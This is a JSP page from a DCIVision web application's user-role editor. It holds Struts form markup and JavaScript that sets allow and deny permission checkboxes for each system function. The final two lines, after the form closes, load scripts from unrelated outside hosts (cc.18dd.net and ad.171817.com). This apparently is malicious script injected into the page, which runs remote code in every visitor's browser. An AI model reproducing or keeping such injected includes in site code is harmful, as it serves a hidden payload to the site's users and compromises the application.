<%
/*
 * @(#)EditUserRole.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditUserRole.jsp

  This class is reflecting business logic uses.

    @author           Phoebe Wong
    @company          DCIVision Limited
    @creation date    24/07/2003
    @version          $Revision: 1.44.2.13 $
*/

/* ********************************Modify History***********************************************
 * Modify by  : Jicle.Wang
 * Modify date: 2006/06/29
 * BugID      : 5475
 * Description: Can not use MemberList Button if no 'EDIT' right
 * *********************************************************************************************
 */
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.*" %>
<%@ page import="com.dcivision.user.*" %>
<%@ page import="com.dcivision.user.bean.*" %>
<jsp:useBean id="applicationContainer" scope="application" class="com.dcivision.framework.ApplicationContainer"/>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintUserRoleForm" scope="request" class="com.dcivision.user.web.MaintUserRoleForm"/>
<script language="Javascript">
<!--
var existingRecords = new Array();
var arrayPermission = new Array();
var mainForm = null;

function triggerEvent(elm, ispersional) {
  if (mainForm.hiddenActionMode.value=="V") {
    return(false);
  } else {
    var cb = elm.form.elements[elm.name];
    var permStr = "";

    if (ispersional) {
      for (var i = 0; i < cb.length; i++) {
        if (elm.checked) {
          if (elm.value.toUpperCase() == elm.value) {
            cb[i].checked = (i<(cb.length/2))? true : false;
          }else {
            cb[i].checked = (i<(cb.length/2))? false : true;
          }
        }else {
          cb[i].checked = false;
        }
      }
      ispersional = false;
    }

    if (elm.checked) {
      /*add to control import and create*/
      if (elm.value == "P") {
        for (var i = 0; i < cb.length; i++) {
          if (cb[i].value == 'I') {
            cb[i].checked = true;
          }
          if (cb[i].value == 'i') {
            cb[i].checked = false;
          }
        }
      }
      if (elm.value == 'i') {
        for (var i = 0; i < (cb.length/2); i++) {
          if (cb[i].value == 'P') {
            cb[i].checked = false;
          }
        }
      }
      /********************************/
      var matchValue = "";

      if (elm.value.toUpperCase() == elm.value) {
        matchValue = elm.value.toLowerCase();

        for (var i = 0; i < cb.length; i++) {
          if (cb[i].value == "R") {
            cb[i].checked = true;
          }
          if (cb[i].value == "r") {
            cb[i].checked = false;
          }
        }

      } else {
        matchValue = elm.value.toUpperCase();
      }

      for (var i = 0; i < cb.length; i++) {
        if (cb[i].value == matchValue) {
          cb[i].checked = false;
        }
      }

      if (elm.value == "r") {
        for (var i = 0; i < cb.length; i++) {
          if (cb[i].value.toLowerCase() == cb[i].value) {
            cb[i].checked = true;
          } else {
            cb[i].checked = false;
          }
        }
      }
    }else {
      //when is unchecked
      if (elm.value == 'I') {
        for (var i = 0; i < (cb.length/2); i++) {
          if (cb[i].value == 'P') {
            cb[i].checked = false;
          }
        }
      }
      if (elm.value == 'R') {
        for (var i = 0; i < (cb.length/2); i++) {
          cb[i].checked = false;
        }
      }

    }

    // Form the permission string.
    for (var i = 0; i < cb.length; i++) {
      if (cb[i].checked) {
        permStr += cb[i].value;
      }
    }

    if (existingRecords[elm.name]) {
      var removeFlag = false;
      for (var i = 0; i < arrayPermission.length; i++) {
        if (elm.name == "cb" + arrayPermission[i][1]) {
          if (permStr == "") {
            RemoveArrayElement(arrayPermission, i);
            existingRecords[elm.name] = null;
            removeFlag = true;
          } else {
            arrayPermission[i][2] = permStr;
          }
          break;
        }
      }

      if (i == arrayPermission.length && !removeFlag && permStr != "") {
        var tmpAry = new Array(existingRecords[elm.name], elm.name.substring(2), permStr, "", "");
        arrayPermission[arrayPermission.length] = tmpAry;
      }
    } else {
      if (permStr != "") {
        var tmpAry = new Array(-1, elm.name.substring(2), permStr, "", "");
        existingRecords[elm.name] = "" + tmpAry[1];
        arrayPermission[arrayPermission.length] = tmpAry;
      }
    }
  }
}

function toggleAllowAll(functionID) {
  var isAllChecked = true;
  var tmpAry = mainForm.elements["cb" + functionID];

  for (var i = 0; i < tmpAry.length; i++) {
    if (tmpAry[i].value.toUpperCase() == tmpAry[i].value && !tmpAry[i].checked) {
      isAllChecked = false;
      break;
    }
  }

  for (var i = 0; i < tmpAry.length; i++) {
    if (tmpAry[i].value.toUpperCase() == tmpAry[i].value) {
      if (isAllChecked) {
        tmpAry[i].checked = false;
      } else {
        tmpAry[i].checked = true;
      }
      triggerEvent(tmpAry[i]);
    } else if (tmpAry[i].value.toLowerCase() == tmpAry[i].value) {
      tmpAry[i].checked = false;
      triggerEvent(tmpAry[i]);
    }
  }

  return(false);
}

//Should be check "allow" all and should change to able to uncheck "allow" all
function custOpAllow(menu) {
  var isAllChecked = true;
  for(var j = 0; j<menu.length; j++){
    var tmpAry = mainForm.elements["cb" + menu[j]];

    for (var i = 0; i < tmpAry.length; i++) {
      if (tmpAry[i].value.toUpperCase() == tmpAry[i].value && !tmpAry[i].checked) {
        isAllChecked = false;
        break;
      }
    }
  }

  for(var j = 0; j<menu.length; j++){
    var tmpAry = mainForm.elements["cb" + menu[j]];

    for (var i = 0; i < tmpAry.length; i++) {
      if (tmpAry[i].value.toUpperCase() == tmpAry[i].value) {
        if (isAllChecked) {
          tmpAry[i].checked = false;
        } else {
          tmpAry[i].checked = true;
        }
        triggerEvent(tmpAry[i]);
      } else if (tmpAry[i].value.toLowerCase() == tmpAry[i].value) {
        tmpAry[i].checked = false;
        triggerEvent(tmpAry[i]);
      }
    }
  }
}

//Should be check "deny" all and should change to able to uncheck "deny" all
function custOpDeny(menu) {
  var isAllChecked = true;
  for(var j = 0; j<menu.length; j++){
    var tmpAry = mainForm.elements["cb" + menu[j]];

    for (var i = 0; i < tmpAry.length; i++) {
      if (tmpAry[i].value.toLowerCase() == tmpAry[i].value && !tmpAry[i].checked) {
        isAllChecked = false;
        break;
      }
    }
  }

  for(var j = 0; j<menu.length; j++){
    var tmpAry = mainForm.elements["cb" + menu[j]];

    for (var i = 0; i < tmpAry.length; i++) {
      if (tmpAry[i].value.toLowerCase() == tmpAry[i].value) {
        if (isAllChecked) {
          tmpAry[i].checked = false;
        } else {
          tmpAry[i].checked = true;
        }
        triggerEvent(tmpAry[i]);
      } else if (tmpAry[i].value.toUpperCase() == tmpAry[i].value) {
        tmpAry[i].checked = false;
        triggerEvent(tmpAry[i]);
      }
    }
  }
}

function toggleDenyAll(functionID) {
  var isAllChecked = true;
  var tmpAry = mainForm.elements["cb" + functionID];

  for (var i = 0; i < tmpAry.length; i++) {
    if (tmpAry[i].value.toLowerCase() == tmpAry[i].value && !tmpAry[i].checked) {
      isAllChecked = false;
      break;
    }
  }

  for (var i = 0; i < tmpAry.length; i++) {
    if (tmpAry[i].value.toLowerCase() == tmpAry[i].value) {
      if (isAllChecked) {
        tmpAry[i].checked = false;
      } else {
        tmpAry[i].checked = true;
      }
      triggerEvent(tmpAry[i]);
    } else if (tmpAry[i].value.toUpperCase() == tmpAry[i].value) {
      tmpAry[i].checked = false;
      triggerEvent(tmpAry[i]);
    }
  }

  return(false);
}

function custOpSave() {
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
  var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
  if (!validateSpecialChar(document.maintUserRoleForm.roleName, invalidChars, "<bean:message key='user.label.role_name'/> " + errorMessage)){
    return (false);
  }
  beforeSave();
  return(OpSave());
}

function custOpSaveAndNew() {
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
  var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
  if (!validateSpecialChar(document.maintUserRoleForm.roleName, invalidChars, "<bean:message key='user.label.role_name'/> " + errorMessage)){
    return (false);
  }
  beforeSave();
  return(OpSaveAndNew());
}

function beforeSave() {
  var result = "";
  for (var i = 0; i < arrayPermission.length; i++) {
    if (arrayPermission[i] && arrayPermission[i]!=null) {
//      var startDate = mainForm.elements["startDate" + arrayPermission[i][1]].value;
//      var endDate = mainForm.elements["endDate" + arrayPermission[i][1]].value;
      var startDate = "";
      var endDate = "";
      if (arrayPermission[i].length<3){
        arrayPermission[i][3]="";
      }
      if (arrayPermission[i].length<4){
        arrayPermission[i][4]="";
      }
      for (var j = 0; j < arrayPermission[i].length; j++) {
        if (j == arrayPermission[i].length - 1) {
          result += endDate + "\n";
        } else if (j == arrayPermission[i].length - 2) {
          result += startDate + "\t";
        } else {
          result += arrayPermission[i][j] + "\t";
        }
      }
    }
  }

  mainForm.functionPermission.value = result;
}

function initArray(frm) {
  mainForm = frm;
  var arrayOfStr;

  // Initialize Users with No Permission.
  arrayOfStr = frm.functionPermission.value.split("\n");

  for (var i = 0; i < arrayOfStr.length; i++) {
    if (arrayOfStr[i].length > 0) {
      if (arrayOfStr[i].charAt(arrayOfStr[i].length-1) == '\r') {
        arrayOfStr[i] = arrayOfStr[i].substring(0, arrayOfStr[i].length - 1);
      }
      var tmpAry = arrayOfStr[i].split("\t");
      existingRecords["cb" + tmpAry[1]] = "" + tmpAry[0];
      arrayPermission[arrayPermission.length] = tmpAry;
    }
  }

  for (var i = 0; i < arrayPermission.length; i++) {
//    g_Calendar.setDatePicker(arrayPermission[i][3], frm, "startDate" + arrayPermission[i][1]);
//    g_Calendar.setDatePicker(arrayPermission[i][4], frm, "endDate" + arrayPermission[i][1]);

    var cbObj = FindObj("cb" + arrayPermission[i][1]);
    if (cbObj) {
      for (var j = 0; j < cbObj.length; j++) {
        for (var k = 0; k < arrayPermission[i][2].length; k++) {
          if (cbObj[j].value == arrayPermission[i][2].charAt(k)) {
            cbObj[j].checked = true;
          }
        }
      }
    }
  }
}

function INIT() {
  initArray(document.maintUserRoleForm);
}

function  popupMemberList(){
  var sOptions = 'status=no,menubar=no,scrollbars=yes,resizable=yes,toolbar=no';
  var sPopupPath = 'ListUserMember.do?userRoleID=<%=maintUserRoleForm.getID()%>&memberType=<%=UserMember.MEMBER_TYPE_ROLE%>';
  var width = 800;
  var height = 480;

  OpenCenteredPopup(sPopupPath, "DCIVisionMemberList", width, height, sOptions);
}
-->
</script>
<html:form action="user/MaintUserRole" styleClass="form-style-2">
<html:javascript formName="maintUserRoleForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<% /****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
   String returnURL = "ListUserRole.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
   /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/   %>
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="ID"/>
<html:hidden property="recordStatus"/>
<html:hidden property="updateCount"/>
<html:hidden property="creatorID"/>
<html:hidden property="createDate"/>
<html:hidden property="updaterID"/>
<html:hidden property="updateDate"/>
<html:hidden property="functionPermission"/>
<input type="hidden" name="hiddenActionMode" value="<%=ACTION_MODE%>">

<layout:tabContainer id="tab1">
  <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
  <layout:tabBar styleClass="tabBar_no_button">
     <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true" visibility="false"/>
  </layout:tabBar>

 <!-- Basic Tab DIV -->
<div id="basicTab" class="tabContent">
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header -->
  <layout:sectionHeader name="user.label.user_role_info"/>
  <tr>
    <td class="formLabelSmallMan"><bean:message key="user.label.role_name"/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property="roleName" size='40' maxlength="150" styleClass="form-style-2-textfield"/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key="user.label.role_desc"/>:&nbsp;</td>
    <td class="formFieldSmall"><html:textarea property="roleDesc" cols='50' rows='4' textlimit="200" styleClass="form-style-2-big-textarea"/>
  <%if (Utility.isEmpty(maintUserRoleForm.getID())) {%>
      <input type="hidden" name="roleType" value="U">
    <%} else {%>
    <input type="hidden" name="roleType" value="<%=maintUserRoleForm.getRoleType()%>">
    <%}%>
  </td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <layout:sectionHeader name="user.label.function_access_right" mandatory="false"/>
  <tr>
    <td colspan="2" align="center">
  <table width="100%" border="0" cellspacing="0" cellpadding="0">
    <tr>
      <td colspan="2" align="center" bgcolor="#666666"><html:img src="LayoutSpacer.gif"  width="1" height="1"/></td>
    </tr>
  <%
    List menu = applicationContainer.getSysFunctionList();
    if (menu != null) {
      for (int i = 0; i < menu.size(); i++) {
        SysFunction sysFunction = (SysFunction)menu.get(i);
        if ( sysFunction.getParentID().intValue()==0 ) {

    %>
    <script language="Javascript">
      var menuFunction_<%=i%> = new Array();
    </script>
    <tr>
        <td class="greyD"><nobr>&nbsp;&nbsp;<b><%=sysFunction.getFunctionNameByLocale(sessionContainer.getSessionLocale())%></b></nobr></td>
        <td class="greyD">
            <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
            <html:standardButton label="setup.label.allow" link="javascript:void(0);" onClick='<%="return custOpAllow(menuFunction_"+i+");"%>'/>
            <html:standardButton label="setup.label.deny" link="javascript:void(0);" onClick='<%="return custOpDeny(menuFunction_"+i+");"%>'/>
            <%}%>
        </td>
    </tr>
    <tr>
      <td colspan="2" align="center" bgcolor="#666666"><html:img src="LayoutSpacer.gif"  width="1" height="1"/></td>
    </tr>
    <%
            int count = 0;
            for (int j=i+1; j<menu.size(); j++) {
                SysFunction subFunction = (SysFunction)menu.get(j);
                if ( subFunction.getParentID().intValue()==sysFunction.getID().intValue() ) {
                    String permissionType = subFunction.getPermissionType();
    %>
        <script language="Javascript">
            menuFunction_<%=i%>[<%=count%>] = "<%=subFunction.getID()%>";
        </script>
        <%count = count+1;%>
    <tr>
      <td class="light"><nobr>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<%=subFunction.getFunctionNameByLocale(sessionContainer.getSessionLocale())%></nobr></td>
      <td class="light" align="right">
        <table border="0" cellpadding="0" cellspacing="0">
          <tr>
            <td width="65">&nbsp;</td>
            <td width="10" align="center">&nbsp;</td>
            <%for (int k=0; k<permissionType.length(); k++) {%>
            <td width="65" align="center"><b><bean:message key='<%="common.permission.label_"+permissionType.charAt(k)%>'/></b></td>
            <%}%>
            <%for (int k=0; k<8-permissionType.length(); k++) {%>
            <td width="65" align="center">&nbsp;</td>
            <%}%>
            <td width="70" align="center"><!--<nobr><b><bean:message key='setup.label.access_time_limit'/></b></nobr>-->&nbsp;</td>
            <td width="10" align="center">&nbsp;</td>
          </tr>
          <tr>
            <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
            <td width="65" align="right"><b><a href="" onclick="return toggleAllowAll('<%=subFunction.getID()%>')"><bean:message key='setup.label.allow'/></a></b></td>
            <%} else {%>
            <td width="65" align="right"><b><bean:message key='setup.label.allow'/></b></td>
            <%}%>
            <td width="10" align="center">&nbsp;</td>
            <%for (int k=0; k<permissionType.length(); k++) {%>
            <td align="center">&nbsp;<input type="checkbox" name="cb<%=subFunction.getID()%>" value="<%=permissionType.charAt(k)%>" onclick="return triggerEvent(this, <%=new Integer(6001).equals(subFunction.getID())? true : false%>)"></td>
            <%}%>
            <td align="right">
              <input type="hidden" name="startDate<%=subFunction.getID()%>" value="">
            </td>
            <td width="10" align="center">&nbsp;</td>
          </tr>
          <tr>
            <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
            <td width="65" align="right"><b><a href="" onclick="return toggleDenyAll('<%=subFunction.getID()%>')"><bean:message key='setup.label.deny'/></a></b></td>
            <%} else {%>
            <td width="65" align="right"><b><bean:message key='setup.label.deny'/></b></td>
            <%}%>
            <td width="10">&nbsp;</td>
            <%for (int k=0; k<permissionType.length(); k++) {%>
            <td align="center">&nbsp;<input type="checkbox" name="cb<%=subFunction.getID()%>" value="<%=Character.toLowerCase(permissionType.charAt(k))%>" onclick="return triggerEvent(this, <%=new Integer(6001).equals(subFunction.getID())? true : false%>)"></td>
            <%}%>
            <td align="right">
              <input type="hidden" name="endDate<%=subFunction.getID()%>" value="">
            </td>
            <td width="10" align="center">&nbsp;</td>
          </tr>
        </table>
      </td>
    </tr>
    <tr>
      <td colspan="2" align="center" bgcolor="#666666"><html:img src="LayoutSpacer.gif"  width="1" height="1"/></td>
    </tr>
            <%
             }
           }
         }
       }
     }
  %>
  </table>
    </td>
  </tr>
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  </table>
  </div>
  </layout:tabContainer>

  <div id="bottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
    <html:standardButton label="common.label.save" onClick="return custOpSave();"/>
      <%if (!GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
      <!-- Bill add for EIP-1312 start -->
    <html:permissionButton right="I" label="common.label.more" onClick="return custOpSaveAndNew();"/>
      <!-- Bill add for EIP-1312 end -->
      <%}%>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintUserRoleForm.getOpMode())) {%>
    <html:permissionButton right="E" label="common.label.edit" link="MaintUserRole.do?navMode=E&ID=${maintUserRoleForm.ID}"/>
    <%}%>
    <%if(!Utility.isEmpty(maintUserRoleForm.getID())){%>
      <%if (!GlobalConstant.OP_MODE_DELETE.equals(maintUserRoleForm.getOpMode())) {%>
    <html:permissionButton right="E" label="user.label.member_list" onClick="popupMemberList();"/>
      <%}%>
    <%}%>
    <logic:equal name='<%=GlobalConstant.ACTION_MODE%>' value='<%=GlobalConstant.NAV_MODE_EDIT%>'>
      <%if ( UserRole.ROLE_TYPE_USER_DEFINED.equals(maintUserRoleForm.getRoleType())) {%>
    <html:permissionButton right="D" label="common.label.delete" onClick="return OpDelete();"/>
      <%} else {%>
        <html:standardButton label="common.label.delete" disable="true"/>
      <%}%>
    </logic:equal>
    </div>
  </div>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>